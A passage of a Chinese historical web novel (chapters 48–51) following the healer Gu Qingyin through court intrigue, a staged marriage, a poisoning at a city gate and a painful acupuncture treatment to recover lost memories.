肖权不得不叫人将她抬回去。
只当是她体内的毒发作了，便也就没找大夫，让她一个人在房中自生自灭。
“青黛……”
“活要见人，死要见尸。”
“是。”得了令那侍卫立马领了人出去了，而房中的肖念安听到关门声也缓缓睁开了眼。
等谷清音收拾好回去时海棠已经趴在书案边睡着了，找了个披风给她盖上便走到床榻边坐下了，握着花芷的手，轻轻按着。
……
等侍卫回来时带回来的却是一具尸体。
面目全非的尸体。
花芷就这样躺了小半月才醒来，看到谷清音坐在她旁边时，愣是半天憋不出一句话来。
“怎么？傻了？”
听到熟悉的声音，花芷微微皱起眉头，眼皮轻颤着，瞬间蓄满了泪水。
微微偏头。
一滴滴泪珠从眼眶里滚落。
“绾绾！”原来……已经换回来了嘛……
谷清音点了点头，抬手为她擦拭着脸颊上的泪水，却不知该如何开口安慰她。
“他……”
赵家将高梨同燕半梦葬在一起的，“若是你想去看他，便让云归带你去。”
花芷轻摇着头，泪水再一次滑落。
身体止不住的颤抖着，谷清音见状连忙抱住了她，轻抚着她的背。
“哼嗯……”
“绾绾……”
“……”
这边的动静也将睡梦中的海棠吵醒了，见这场面她也不知该如何了，想着花芷刚醒定是饿了，便想着去给她做些热食端来。
只是等海棠再来时就见屋里的光已经灭了。
“她歇下了。”
“你也早些歇息吧。”
“好，这个趁热吃。”接过海棠递来的热食，等她走远了才转身离开这儿。
48.这才是你真正的目的吧
回到房间，谷清音走到书案旁坐下，在纸上写了些什么收起来才起身去吃东西。
次日，大早便派乔牧将两封信送到了赵云归的手上。
一封是给她的。
另一封是让赵云归以她的名义送给箫祁政的，这也是谷清音答应肖念安的第二件事儿。
流云在天边缓缓流动，疏散的阳光散落，行驶了一上午的马车也终于是停了下来。
“哇。”
花芷看着眼前如世外桃源般的地方一时间晃了神。
“绾绾，你何时找的这地方？”
“就是……”花芷说要同她找一个依山傍水的地方生活时她就开始谋划了，不过现如今再说这些，“也不重要了。”
“先去看看？”
“好啊！”
谷清音让海棠在外面守着，拉着花芷走了进去。
里面的房屋是围着一个大大的湖泊建造的，谷清音知道花芷爱秋千便在湖泊上搭了秋千，拉着她踏上那湖泊上的竹桥板，阳光透过树叶洒下，好像一片片落叶在水上漂浮着。
“哇，绾绾这个好好看。”
花芷已经迫不及待的坐上那秋千，抓着那缠绕着藤蔓的绳子轻轻晃动着。
“花芷……”这里她都已经布置好了，什么都不缺了，“你日后便待在这里。”
“等我好吗？”等她将一切做完便过来。
“你……”又要去做什么，“不带我吗？”花芷的声音明显变得低落了，一直低着头不看她。
“你也要有自己的生活。”不要和她一样。
谷清音买了海棠花的种子，想着这里也应该留下些花芷的痕迹，便还没有种下。
这样她一个人也不至于会太无聊了。
“那我走了。”
见花芷依旧没看她，谷清音也不多做停留了，转身就走了。
只看到谷清音一人出来，原本想问问来着，看到她那表情的瞬间已经到了嘴边的话又咽了回去，扶着她上了马车。
“姑娘。”
“我们接下来是要去哪儿啊？”
“去了就知道了。”说着，谷清音抬手轻轻按着眉心，昨日没休息好，此时倒是有些头疼了。
闭上眼睛稍微休息一会儿，很快便到了地方。
“姑娘稍等会儿。”
“嗯。”
两人在继续在马车上坐着，等了一会儿乔牧快步来才掀开帘子，“姑娘，好了。”
“好。”
走下马车就见乔牧去将绑在树干上的绳子解开牵着马走了过来。
“这是？”
谷清音让海棠这些时日便留在这边，她找了人来教他骑马，可对于这个海棠是一点兴趣都没有，“一定要学吗？”
“嗯。”谷清音表情变得严肃。
“好。”
将一切都安排好了谷清音便回去了。
这些时日都没有收到箫祁政那边的消息，她便一直都在鬼市待着。
眼见着赵离的生辰也快到了，赵心缇便从外面回来盯着寿宴前的各项事宜，是一刻也没闲着，直到寿宴前一日才等了空去了听雨阁。
“长姐？来坐吧。”看到来人赵云归合上手中的书放到一边，并没有起身去迎接的意思。
赵心缇并未觉得有什么不对，走到她身边坐下了，抬手轻轻按了按有些发胀的腰，有些欲言又止的看着赵云归。
她又怎么会看不出她的心思，“长姐有事便说吧。”
“倒也没什么大事。”
“就是……”明日便是赵离的寿宴了，她们宴请了不少宾客，可若是柳眉昭不来定是要遭人非议的，她也是不知该如何是好了。
“嗯。”赵云归也懂了，赵心缇是明知柳眉昭不愿来想把事推给她，那，“我去请母亲便好。”
“这……”柳眉昭不喜赵云归，若是去了也怕她被为难，可若是不去又没有别的办法了，赵心缇看上去有些为难却并没有拒绝。
“长姐先回去吧，我去换身衣裳。”
“好。”
赵心缇出去便叫人备好了马车，换了一身更素的衣裳便出去了。
烛火摇曳，谷清音坐在书案前，看着话本子上的内容，脑海中不觉浮现出了一个熟悉的脸庞，思绪无法集中，只好合上话本子起身出去。
不知不觉中，走到了映月楼附近。
再一次走到后院，借力翻上高墙，坐在上面被清儿撞了个正着，“你！”
“啧。”还是鲁莽了。
“姑娘！”正准备离开这里清儿连忙开口叫住了她，“我们可曾见过？”
“唉！”轻叹一声，谷清音翻身下去，走到清儿身旁，见她一直不说话清儿下意识的往后退了一步，“姑娘？”
“清儿？”
“嗯。”
清儿这般美貌这京城不知多少权贵肖想，若不是肖权撑着，她又怎么能做上这第一清倌人，若是肖权垮台清儿便没了靠山。
“我带你走吧。”去一个很远很远的地方，一个没有人认识她的地方，到那时候……“你就是自由的了。”
自由？
清儿想都没想就拒绝了，轻轻摇了摇头，在她看来，“我从来都是自由的。”
或许那样平凡的生活她永远都无法触及。
“姑娘。”
“来人了。”
“打扰了。”听见脚步声谷清音也不再劝她，再次翻墙出去了。
花双儿扇着扇子走到她身边，四处张望着，却什么也没找到，“刚刚在和谁讲话呢？”
“妈妈听错了吧。”
“哪里来的别人啊。”
她不说花双儿也不好再追问了，“行了，别让贵人们等久了。”
“好的，妈妈。”
回头看了一眼什么也没有的红墙，便跟着花双儿回去了。
流云缓动，夕阳西下。
路途颠簸，好在不远，马车停在了一座被树木包围却华丽的庭院前。
掀开帘子，赵云归的视线便被门口那桃树吸引了去，想到听雨阁后院里的那颗桃树还是当年与柳眉昭一同种下的，手紧了紧不免晃了神。
只是一瞬，松开帘子走下了马车。
“留步。”
“夫人吩咐了，二小姐您不能进去。”柳眉昭对她的态度不好，连同她手底下的丫鬟也是这副嘴脸。
赵云归不耐烦的睨了她一眼，“拦我？你算个什么东西？”
见她这模样丫鬟皱了皱眉头，依旧不不打算让她进去。
“啪！”
还没反应过来，脸上就传来了火辣辣的疼。
“这里姓赵，不姓柳。”
“滚。”
那丫鬟虽说不服气，却也不敢同赵云归动手，只能站在一旁看着她走进去。
按着记忆中的方向走去，走到了青石子路的尽头，只见，一个身形瘦削的女子背对着她，侧坐着趴在红木栏上，一手微弯
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一手探出，看着像是在喂鱼，却未见鱼食。
轻纱长裙随风舞动，宛如画中人。
赵云归走近，她自然也听到了脚步声，只是并未回头。
连个人都拦不住，“真是没用。”
柳眉昭的声音弱弱的，像是大病初愈。
赵云归知道这不是在同她说话便默默的站在一旁，一阵凉风拂过柳眉昭轻轻打了个寒战，将乱飞的头发别好才悠悠回头。
“阿母！”
“嗯，说吧，又是什么事？”说着她又别过了头，拿起旁边的鱼食。
“我知道阿母不想见我，我也是。”
“可祖母寿宴母亲应当去的，毕竟你如今仰仗的还是赵家的荣光。”
“哼。”柳眉昭轻笑一声，又将鱼食放下看向了赵云归，她知道赵云归今日来的目的，可她万万没想到她这乖女儿会这般说，“果然没说错，你还真是变了。”
“不……”只是看清了而已，况且，“阿母从都不会关心我是何般模样，不是吗？”
“是。”
“行了，走吧。”柳眉昭拍了拍手，便同赵云归出去了。
马车缓缓行驶着，赵云归继续看着手中的书，见她这般柳眉昭倒是有些无聊了，“你就没什么想问的？”
“有。”
赵云归合上手中的书，犹豫一瞬才看向她，“你背叛了父亲，可……”像肖权这样的人，“他真的还爱你吗？”
爱吗？
重要吗？
“哼，对！”柳眉昭自嘲般的点了点头。
“他不爱我了。”所以呢，就算不爱了又能怎么样，他们也只是不想让赵家人好过罢了。
过程如何早就不重要了。
况且，她如今也不是吵着离不开情情爱爱的年纪了啊，“也就你会问这般幼稚的问题了。”
“哦。”
“所以……”赵云归的指尖紧紧的攥着手中的书，“你将阿姊留在身边是为了什么？”
“因为我就想要她这样懂事的孩子。”因为不喜欢赵云归所以这么多年都不去看她，都这样说了，本以为能看到赵云归难过的表情，可惜柳眉昭并未等到。
“哼！”
“哈哈哈。”
赵云归抬手用手中的书挡住脸，却还是没忍住笑出来声。
在柳眉昭的注视下缓缓地露出双眼，看着她，轻轻挑眉，“阿母留她在身边，难道不是想像儿时撺掇我一样，撺掇她去害人吗？”
“让我猜猜是谁呢？”
“是……”祖母吧！
毕竟，若是肖权倒台了便再也没有人能知道她那些丑事了，她依旧会是那人人羡慕的将军夫人。
这些话两人心中清楚便好，她自然不会捅破，待她放下手中的书，嘴角的笑意却惹怒了柳眉昭，“阿母开心便好，云归知道什么话该说，什么话不该说。”
“哼！”
“送我回去。”
“哦。”赵云归点了点头可马车已经在缓缓行驶着。
“立刻停下来。”
赵云归抬手掀开帘子，看着外面的树林，“阿母难道要自己走回去吗？”
“你！”
柳眉昭原本紧握的手舒展开，像是看清什么般饶有兴致的挑了挑眉。
“我看呐，你……”不是变了。
上次一别，再见就跟换了个人一样，“究竟是谁？”
在她的记忆中赵云归可不是这样的性格。
49.要如何才能不难过呢
“阿母……”赵云归微微愣了一愣，嘴角染上一抹无力的笑，她微微张口对上她眼神的瞬间又闭上了，指尖抚过眼尾，带走了那还没来得及落下的泪水。
出发前做了许久的心理准备在这一刻瓦解。
“十三年啊……”她可有想过去看她，哪怕是一眼，也不至于如今说出这般话来，可……为何她还是会心存幻想像，“云归有一事不明白。”
“我究竟做错了何事，让阿母如此恨我…不惜要毁我清白。”倘若她能选择……可……她没办法选择自己的出身。
儿时的忍让不仅没有换回她的良知，反而让她变本加厉。
原以为再见时柳眉昭会有所改变！
可……听到谷清音说出这些事时，甚至不知该如何面对，毕竟……她也曾真的让赵云归感受到自己是幸福的。
只是不记得是什么时候这一切都变了。
“如今……”
“如今我不再同你装作母慈子孝的样子，阿母……便……连我这个女儿都不认识了吗？”看到她的脸赵云归只觉呼吸都有些不顺畅了。
赵云归这样她才舒心啊，“哼，你也配？”
“停车。”
捂着嘴快步走下马车，踉跄着扶着身旁的树干干呕了起来。
“呕……呕…”
……
看着这已经暗下来的天，调整好重新坐上了马车，两人本就互看不顺眼，也都不再说话，找不痛快了。
此时，谷清音也从外头回来了，马车缓缓停下起身走下去，便看到了肖家的马车经过。
回到叁生堂，看着地上被破坏的锁，无奈推开门，肖念安正坐在里面，毫不客气的喝着茶水，“不怕有毒？”
肖念安垂眸看着手中的瓷杯愣了一瞬，又喝了一口，“无所谓。”
“找到人了？”
“嗯。”不过……肖念安起身走到谷清音旁边拍了拍她的肩膀，“他找到青黛了。”
“心慈手软太致命！”
“所以？”谷清音不自觉皱起眉头，她明明已经做到那么隐蔽了，怎么会？
“不重要了。”
今日还是为了肖庭轩的事，其他的事她也不愿再多说了，“跟我走吧，你会很吃惊的！”
毕竟，谁能想到，他会被藏在鬼市之中呢。
也算是，她死前最后的一点价值吧。
谷清音点了点头拿上床榻上的黑色斗篷披上便与她一同出去了，最后在烟雨楼外停下了脚步。
“这？”确定？
“信不信由你。”
看她这神情不像是说谎的，况且骗人对她也没有任何好处，“你回去吧。”
“好。”
谷清音只身进去，原本应当喧闹的地方却安静的可怕，手警惕的抚上腰间，观察着，只见不远处坐着一个白发玄衣的男子，“无忧？”
“嗯。”
“肖庭轩真的在你这儿？”
“是。”
晋无忧早已摘下面具，那张与丘竹几乎无二的脸让谷清音不敢直视，听到他肯定的回答只觉心跳不自觉加速，不知该如何面对。
“你是太后的人？”谷清音抬眸看去，垂在身侧的手不觉握紧。
“她不配。”
不是就好，这才松了口气。
晋无忧也知道她的目的，特意将外人都赶走了等着她，自然也不会再同她兜圈子了，“过来。”
停下脚步，石门打开一股恶臭扑面而来。
谷清音皱了皱眉头，并没有第一时间走进去，“无忧……”有一件事她一直想弄清楚，“我与云归……”
“对，是我。”
“为什么？”她虽不解，虽心中清楚眼前这个人不会害她，可她想要一个知道真相的权力。
“你无需知道。”
“好。”
不再追问了，抬手将披风上的连帽戴上，捂住鼻子走了进去。
尽头，几根粗重的铁链锁着一个蓬头垢面，衣衫褴褛的人，走到他身边也不见他有什么反应，犹豫一瞬蹲下身，感受着他的脉搏。
看来，这些年为了让他活着，晋无忧也下了不少功夫啊。
“你是谁？”
沧桑的声音传来，谷清音连忙松开了手。
下意识的将连帽往下拽了拽，“我是能救你的人。”
“哈哈！”
“就凭你这个小女娃娃？”
“对，就凭我……”这个小女娃娃！
肖暮云恨他，便想要他生不如死，也是这个决定注定要成为别人上位的垫脚石。
……
出去后，谷清音将披风解下丢在地上。
晋无忧还在不远处等着她。
走近，晋无忧也听到脚步声转过了身，看到那张脸时还是会心头一震，“无忧……你还是把面具戴上吧。”
“怎么？”
“心虚了？”晋无忧挑眉一笑，这样看着顺眼多了。
“听不懂你在说什么。”
“哼。”轻笑一声，捏住谷清音的下巴，迫使她同自己那冷冽的双眸对视着，“真是搞不懂，为什么每一次哥哥都会不顾一切的去找你。”
“你凭什么？”
“要不是你……”他也不至于丢了性命。
晋无忧松开了手，踉跄着往后退了一步，指甲深深的嵌入掌心，“我凭什么？”
“我是不配，可你……”
“才是最没资格说这些的。”
若不是他一意孤行，“若不你……”丘竹又怎么会承受那些本不该承受的苦楚，想到那些事谷清音的手慢慢松开，原本急促的呼吸渐渐变得平缓。
事已至此，也并不想再同他争论了。
“我回去了。”
回到叁生堂，海棠刚好将吃食端到桌子上，“姑娘回来了，洗手吃饭吧！”
“嗯。”先去将伤口重新处理了一下才坐到桌前。
“我过几日要出去，别忘了我交代的。”
“姑娘放心吧。”
次日，赵离的寿宴并未出现什么差错，只是柳眉昭昨儿在赵云归那儿受的气，定是要找回来的，不过也就使使小绊子什么的，不至于太过火。
趁着寿宴人来人往。
没人看着，赵云归偷摸将前几日收到的几封信送到了乔牧手中。
看着桌上的信纸，指尖轻轻敲击着书案。
拿起信纸靠近烛火，信纸被点燃，火焰越来越大，直到感受到一丝痛感才松开手。
去换了件深蓝色的衣裳，戴上面纱将那封没被烧掉的信拿上便出去了。
“咚咚咚——”
等了一会儿面前的门才被打开，只见一个人探出了头上下打量着她，“姑娘找谁？”
“沈相。”
家丁的眼神在她身上上下打量着，是从未见过的，如此想来也不是什么大人物，“姑娘还是下次再来吧。”
眼见着这半开的门缓缓合上，谷清音连忙抬手制止，“稍等。”
说着，谷清音取出金元宝快速塞到他的手中，“劳烦帮我带句话。”
“就说谷清音求见。”
谷清音？
有些耳熟。
他原本准备将金元宝还回去的动作收回，点了点头，“稍等。”
“劳烦了。”
站在门外等了一会儿那人果不其然又折返回来了，“姑娘进来吧。”
将她引到一个亭子里坐下便离开了，稍微等了一会儿沈溢之才带着沈静安一同过来。
“你……”
看着眼前这个年轻女子，沈溢之的眼中闪过一丝警惕，“你当真是她的徒弟？”
“沈相也可
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以不信。”
“但是……”说着谷清音将面纱取下，熟悉的脸闯入沈溢之的眸中，“我们曾见过的。”
面纱取下的瞬间，一旁的沈静安也愣了神。
“真的是你！”
他的音量不自觉的提高了些，眼神里闪烁着兴奋的光芒，“太好了。”
“明昭的眼睛终于有救了。”
当年苏白英本是答应了他要替沈明昭诊治的，可谁又会想到那日她竟出了意外，后面也曾去找过谷清音，可那段时间谷清音都在外游历。
他们以为是故意躲着，便也放弃了。
激动过后沈溢之也冷静了下来，她主动找上门来目的肯定不简单。
所以……“你想得到什么？”
“晚辈今日前来是想送沈公子一门婚事！”
“啊？我？”谷清音说这句话时是看着他的，本以为是谷清音要同他订婚，不自觉的心跳加速，脸颊和耳垂也染上一抹绯红，这刚见第一面呢，“不…不太好吧。”
“你闭嘴！”
“这哪儿有你说话的份儿？！”
大腿被沈溢之用力的掐了一下，将他的思绪拉回了现实。
“哼！”轻笑一声又继续开口了，“是同赵家二姑娘的。”说着她将信封递给沈溢之，讲述着他们的计划。
他们的婚礼定要大操大办，这样才能让宫里那位放下些警惕来。
沈静安在一旁听着，心中纵使有千万个不愿也是不能提出的。
……
“等一切结束，沈相在灵谷寺等我便好。”话尽，谷清音起身重新戴上面纱。
“嘶。”
沈静安感受到小腿处的一阵痛感，不解的看向沈溢之，就见他一个劲儿的使着眼色，“啊？”
见谷清音离开，他的腿又被沈溢之踢了一脚，这才反应过来，快步追了上去，“姑娘，我送你出去。”
“劳烦了。”
走出门，谷清音见他对着身边人使了使眼色，无奈摇了摇头，没说什么边准备离开。
“姑娘——”
谷清音装作愣了一瞬才不解的转过身，“沈公子还有何事？”
“那个……”
“我可以叫你阿音吗？”
阿音？
不由自主微微皱眉，却没让他看出什么端倪，点了点头，“嗯，告辞。”
“阿音！”
沈静安焦急的声音从身后传来，还没等她反应过来便被人拉住，整个人向后倒去，一支短箭从额头旁划过，传来点点刺痛。
“没事吧！”
“沈公子……还是先将我放下来吧。”
“抱歉！”沈静安将怀中人温柔放下，脸颊早已染上一抹绯红，不敢抬眸看她，手也慌张的无处安放。
谷清音取出一方帕子擦拭着，看着帕子上的一丝血迹表情冷了下来，“我可曾得罪过沈公子？”
“啊？”
无奈叹息一声，再次抬手时沈静安才注意到她额头上的伤口。
“你受伤了？”
“我带你去处理一下吧。”说着也不管谷清音是怎么想的拉着她的手腕又重新回到了府中，叫了人拿来药膏。
处理了一下才依依不舍的送她离开。
想看着她离开，可马车却迟迟没有动，只见纤长的手指撩开帘子，那面纱早被取下，她张清冷而透彻的脸庞再次占据沈静安的视线。
“怎么了？阿音！”
“沈公子曾答应帮我做三件事，如今也只剩下最后一件，我看便今日吧。”
三件事？
沈静安愣了一瞬才悠悠记起，“鬼…你……还真是……”很难将这两人联想到一起啊。
不过，别说一件了，只要她开口沈静安也很难不答应啊，“阿音，想要我做什么。”
“我要……”
50.他的命在我手上
“我要……”见太后！
沈静安看出她眼底的情绪，不自觉皱起眉头，却还是答应了。
马车缓缓行驶，他的视线一刻不曾离开。
……
“太后在等姑娘，这边请。”
静静跟在她身后，直到一个有些熟悉的面孔出现，这人是……“她？”莲心吗？倒是变了不少。
“姑娘认识莲心姐姐？”
谷清音并不想与她们有太多的联系，浅浅一笑微微摇了摇头，“有些眼熟，但不曾见过。”
侍女尴尬一笑也不再说话了。
等到了慈宁宫通传了一声，便让谷清音一人在外候着，在外站了许久才有人出来，“你就是……谷……什么的？”
纪绍想了想确实没想起来，也便不纠结了，“日后若是有事可以找我。”
“嗯。”谷清音点了点头，“对了，念安近日可好？”
“小姐一切都好。”
“嗯。”谷清音点了点头，难怪呢，原来是肖念安的人啊。
“请吧。”
肖暮云把玩着一个小玩意儿，眼神就没落到谷清音身上过，“哀家还以为你不来了呢！”
“不敢不来。”况且，她可不想落到被追杀的地步啊。
“行了，起来吧。”
“谢太后。”谷清音还没来得及起身，就见肖暮云抬手，紧接着便有两人将她的手臂捉住，硬生生将她拽了起来。
尝试挣扎却无果，抬眸便对上肖暮云看戏的眼神，“太后，民女有话要说。”
见她靠在纪绍怀中闭上眼没说话，那两人用力将她向下按去，膝盖重重砸向地面传来清脆的响声，后面的人才松开手。
等肖暮云不耐的睁眼看来，才悠悠开口，“安王……不……箫祁政还活着。”
“嗯？”所以呢？
“民女知道他如今身处何处！”
“哦？”肖暮云来了兴趣，从纪绍怀中起身重新坐好，伸手拿起旁边的果盘放在纪绍腿上，“继续。”
一边吃着水果，一边听着下面的人说话。
谷清音大概意思是，箫祁政前段时间便离开京城去了邻国，想要借助外邦的兵力用来对付他们，“太后若是不信可以传信给长平长公主。”
“长公主定是见过他的。”
肖暮云思索一瞬，抬脚踢了一下旁边的纪绍，“去，按她说的做。”
“是。”
纪绍走后她抬腿翘着二郎腿，偏头看她。
像是在说，这些她已经知道了，那谷清音便也就没有什么价值了。
“不过他已经离开了。”
肖暮云嘴角的笑容瞬间消失，轻轻挑眉，抬手让她身后的两人离开，“起来吧。”
“谢太后。”
谷清音并不打算真的说出箫祁政如今的位置，就算等他们找到了，已经晚了，如今最重要的便是解决之法。
这也是她敢只身前来的原因，“民女有办法让他收手。”
肖暮云也知道了谷清音之所以活着是箫祁政将她救下藏了起来，就算如此她未免也太自信了，“你不会想说他爱慕你吧？”
说出这话肖暮云也没忍住笑出来声。
毕竟，这京城谁不知箫祁政对赵云归可谓是情根深种啊。
“当然……”
“不是。”
情爱本就是不值一提的东西。
“相信太后也不认为他会为了赵氏放弃这么多年的谋划。”况且，赵云归可是当着那么多人的面拒绝了慕珂的求助的。
“的确……有理。”
肖暮云点了点头，示意她继续说下去。
“他的命在我手上。”
“什么？”
谷清音骗她说，在为箫祁政治腿的期间给他下了一种毒，这事他也是知晓的，“倘若他弃我不顾那他必死无疑。”
说着，她也感受到了肖暮云眼中的杀意，微微低下头，嘴角是抑制不住的笑意，“可倘若我没走出去，便会有人将解药送到他的手上。”
“哼。”
听到第一句话时肖暮云就知道她留了后手，可是……“他可救了你啊。”没想到神医谷之人还会对人用毒。
还说是什么悬壶济世的仙人呢，真是好笑。
“他救了我，我也救了他。”
可人要想活着总是要留好退路的，“民女并不觉对他有何亏欠。”
“好好好！”说的真好，那便……“就只能委屈谷神医在这儿多留下时日了。”
“带下去。”
转过身没想到朝她走来的竟然是莲心，跟在她身后，目光也在不停的打量，经历了那些事，她还能看上去像什么都没有发生一样，还真是佩服。
走到一个房间前，莲心率先抬手推开门。
低着头，侧过身给谷清音让开位置来，“谷神医有事吩咐她们便可，无事便不要离开这里了。”
当然……“有事也不要离开。”
话语间，那在大殿里见过一面的两个侍卫也走到了她们身边，一左一右在门口站着，“谷神医还是别愣着了，请吧。”
刚抬脚走进去，门便没有一丝犹豫的关上了。
谷清音离开后肖暮云便派人给肖权传信了，他们也是立刻派人去寻箫祁政的下落了。
接下来的时日谷清音都被关着，一日三餐都由莲心送来，她既得不到外头的消息也送不出消息，只能默默等着。
直到赵云归与沈静安的婚期到来。
谷清音还是像往常无聊的坐在窗边，直到听到开门声才站起身，只是这次莲心送进来的是一身衣裳。
“别让太尉等久了。”
“知道了。”
拿起桌上那一身浅蓝色长裙，有些素，不过穿什么倒也无所谓。
换好了莲心便带着她出宫了。
站在城楼之上，身后全是肖权安排好的人，却不全是忠心于他的人。
天色逐渐亮了起来，肖权也终于带着赵云归走了过来，看着她有些担心的模样谷清音冲她摇了摇头。
或许……“他们……”已经……“来了……”
马蹄声，由远及近，渐渐的甚至能感受到心跳也跟着加速跳动着。
“你最好别让我失望啊！”
肖权贴在她耳边说着，可谷清音的思绪早就不知飘向何处，直到一阵破空声传来紧接着就是肖权痛苦的低吼。
谷清音转头看去便对上他那阴狠的表情，不过看他这样子…应该已经……“毒发了吧！”
“你……咳咳咳……”
原本城楼上的士兵互相缠斗在一起，城门早被打开，一口污血吐出，肖权握住她手臂的的力道逐渐褪去。
“砰！”
向后倒下的瞬间，谷清音与箫祁政的眼神对视一瞬又再次错开。
闭上眼，趁乱从城楼一跃而下。
“姐姐！”
“驾！”
“姑娘！”海棠看准时机接住了她，没有人注意到他们，又或是注意到她们的也已只剩一具残缺的尸身了。
……
等远离了人群，谷清音收回软剑，夺过缰绳，借力
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一跃跨坐在海棠身后，将她环在怀中，“驾！”
“驾——”
夕阳染红了天，前方的马车前的灯笼也和这天色混在了一起。
“姑娘？”
“无事。”
“吁！”拉紧缰绳，待马停下谷清音率先翻身下马，握住海棠的手接她下来，“当心些。”
用力拍了一下马屁股，见那马胡乱朝别处跑走便拉着海棠的手朝前方的马车走去。
“墨迹死了。”
晋无忧环抱手臂靠着，若不是带着面具谷清音定是要吐槽他那不耐烦的脸色的。
马车一刻不停的行驶，天色渐渐亮起来马车才到了码头，谷清音先一步去交谈了一会儿才让海棠出来。
“你可以走了。”
接过晋无忧递来的包袱塞到海棠怀中便回到马车上了，见她没有离开的动作晋无忧手刚抬起来她的声音便传了过来。
“姑娘！”
海棠也不再打算跟着她了，不过……“麻烦替我向她道声谢。”
空气安静了一瞬，帘子被掀开一角。
“好，快走吧。”
海棠独自坐上了船，谷清音他们也一同离开了这里，天色渐渐变暗，两人终于到了地方。
“绾绾！”
“你终于来了！”花芷见她走下马车连忙跑上前抱住了她，等了好几天了悬着的一颗心也终于落地了。
“我答应你不会有事的。”说着，感受到她的抽泣，连忙抬手轻抚着她背，“没事了。”
“啧。”
一阵阵晚风轻轻吹过，晋无忧终于是看不下去了，无奈走到两人身边，“你们这是真当我不存在呢？”
“你！？”花芷看到晋无忧的身影，一惊，来回打量着两人，“他……？”
一时间不知该说认识还是不认识了。
谷清音抬手为她擦拭着脸上的泪痕，并不打算替晋无忧做介绍。
“行了。”
“累死了，给我煮碗面。”
见他往院子里走去，花芷连忙拉着谷清音跟了上去，无奈答应，“知道了。”
“没说你。”
“你！绾绾凭什么给你煮面？”说着花芷松开谷清音的手跑到晋无忧的前面，“就我煮！你爱吃不吃。”
“哼。”
花芷跑没影了晋无忧才将面具取下，无语的看着她跑开的方向，“有病。”
“你说你……”谷清音轻笑一声摇了摇头，“逗她干嘛？”
晋无忧也没有力气再跟她斗嘴了，停下脚步张望着四周的屋子，“我住哪儿？”
“你啊……”谷清音思索着看向四周，嘴角微微勾起，再次看向他，微微偏头，“爱住哪儿住哪儿喽！”
说完也朝着花芷去的方向走去了。
“你们……”都有病！
谷清音过去时面已经下锅了，花芷坐在一旁一个劲儿的点头，感觉下一秒就要扑到铁锅里了。
“花芷？”
“嗯？”听到有人叫她，才稍稍缓过神来。
“我来吧，你先去休息吧。”
谷清音走到她身边轻轻揉了揉她的头，花芷却挽住她的手臂摇了摇头，“很快就好了。”
“对了，我给你多加了一个蛋！”
“才不要给那个人呢。”
“哈哈！”看她这都困的睁不开眼还气呼呼说话的样子，无奈笑出了声，“好！不给他。”
……
聊着聊着面也好了，几人吃完也都歇下了。
明日还有其他事要做呢。
51.内心深处被遗忘的记忆
翌日，从睡梦中醒来时外头的天还是黑的，奈何睡意早已消散，谷清音穿好衣裳起身打开房门，一阵阵风便朝她冲来，扰的她睁不开眼。
“轰隆隆——”
“轰隆隆——”
这还未见有雨滴落下，雷声倒先贯彻云霄。
“绾绾？”
花芷也被这雷声吵醒，迷迷糊糊的从床榻上爬起来，打了个哈欠，揉着眼睛。
见状，连忙关上门走了回去，坐在花芷旁边，“要不再睡会儿？”
“不用。”
靠在谷清音肩膀上，稍稍缓过神来才起身穿好衣裳。
将做好的吃食摆放在桌子上。
三人围坐着，雨仍旧未见变小，吃完东西花芷便去准备一会儿要用的东西了，等谷清音将碗筷收拾好她也准备好了。
“绾绾，可以了。”
“嗯。”谷清音看了一眼坐在一旁守着晋无忧才躺在床榻上，虽说早已有了心理准备，可不免有些紧张。
花芷取了一根香走近，一眼便看到她微微颤抖的手，坐在一旁轻轻握住，“绾绾。”
“若是……”害怕，便不要试了吧！
“我没事的。”谷清音轻轻拍了拍她的手，摇了摇头，这事若是没有一个结果她便一直不会心安的。
“嗯。”
点燃床榻边的香，谷清音的呼吸也慢慢变得平稳。
一根根银针刺进她的头颅，丝丝细汗爬上了她的皮肤，床榻边的香马上就要燃尽了，见状花芷将针收回。
“绾绾？”
俯身贴近，轻轻拍着她的手臂。
悠悠睁开眼，只觉眼前的一切都是模糊的，“姐姐……”
“绾绾？”
晋无忧见状拔出腰间的匕首，划破了谷清音的指尖，鲜红的血液滑落，染红了被褥。
“嘶。”
感受到刺痛，谷清音才彻底清醒过来。
花芷将她扶起，轻轻晃了晃脑袋，只觉隐隐作痛便抬手轻轻按着，“我刚刚……”
她努力的回忆着，可那些本就模糊看不清的画面如何也抓不住。
“想不起来便算了。”
“不行。”谷清音摇了摇头，如今更加确信定是有什么事被遗忘了，无论重不重要她都必须得想办法记起。
“那过两日吧。”
谷清音摇了摇头，得趁着如今有些效果，若是过两日怕是又像这次一样了，“再试一次。”
“绾绾！”
她如今的脸色已经不好了，可花芷又怎么劝的了她呢，“若是再记不起来呢？”
“若是……”对呀，再记不起来呢？“那……那便……过两日。”再试试。
“你！”
“行了。”晋无忧见两人磨磨唧唧的都有些烦了。
“你就听她的吧。”毕竟，这么多次，这也是他第一次知道谷清音竟然失忆了，对于她的记忆晋无忧也是很好奇的呢，“况且，我也在，有什么好担心的？”
“你们。”
花芷瞪了他一眼，就是有他在才担心呢。
“算了。”花芷无奈撇了撇嘴，原本握着谷清音的手赌气松开，“拗不过你们两个。”
“等着。”
花芷重新点了根香，又将刚刚拿来的一个瓷瓶递给谷清音，“吃了。”
见她再次躺下花芷重新替她施针。
谷清音的手不自觉握紧，晋无忧见状将被褥扯过，塞到她是手中。
好奇的看着她。
一根根针刺入，眉头紧皱，嘴唇微张，痛苦的喘息着，身体也在不自觉的颤抖着。
“绾绾！”
看了一眼一旁只燃了一半的香，又看了一眼床榻上仿佛要窒息了的人，抬手准备收回银针却被晋无忧捉住了手腕，“别急啊。”
“这不还没事嘛。”
“你没看到绾绾现在很难受吗？”说着花芷伸出另一只手准备取针，晋无忧手上的匕首便已经架在她的脖子上了。
她都已经这样了，“你也不想前功尽弃吧。”
“你！”她就不该相信这个人的！
见花芷还不死心，晋无忧将匕首抬了抬，花芷也下意识的微微仰起头，“你知道的，我可不是什么怜香惜玉的人。”
说着他转头看向一旁的香，“快了。”
“绾绾！”
只见床榻上的人嘴角已经染上丝丝血迹，可晋无忧却还是一脸看戏的模样。
“晋无忧！别忘记你答应我的。”
“放心，还死不了。”说着，晋无忧将匕首收回那香也在他们的注视下燃尽。
花芷连忙将针收回。
“绾绾！？”将人扶起，让她靠在怀里，鲜血吐出，花芷连忙用帕子替她擦拭着，“听得见我说话吗？”
“嗯。”谷清音轻轻点了点头，感受到花芷的指尖碰到她的嘴唇，下意识的张开嘴，将她喂来的药丸含住。
只觉耳边叽叽喳喳的吵的很，等她睁开眼时房间却空无一人，“咳咳。”
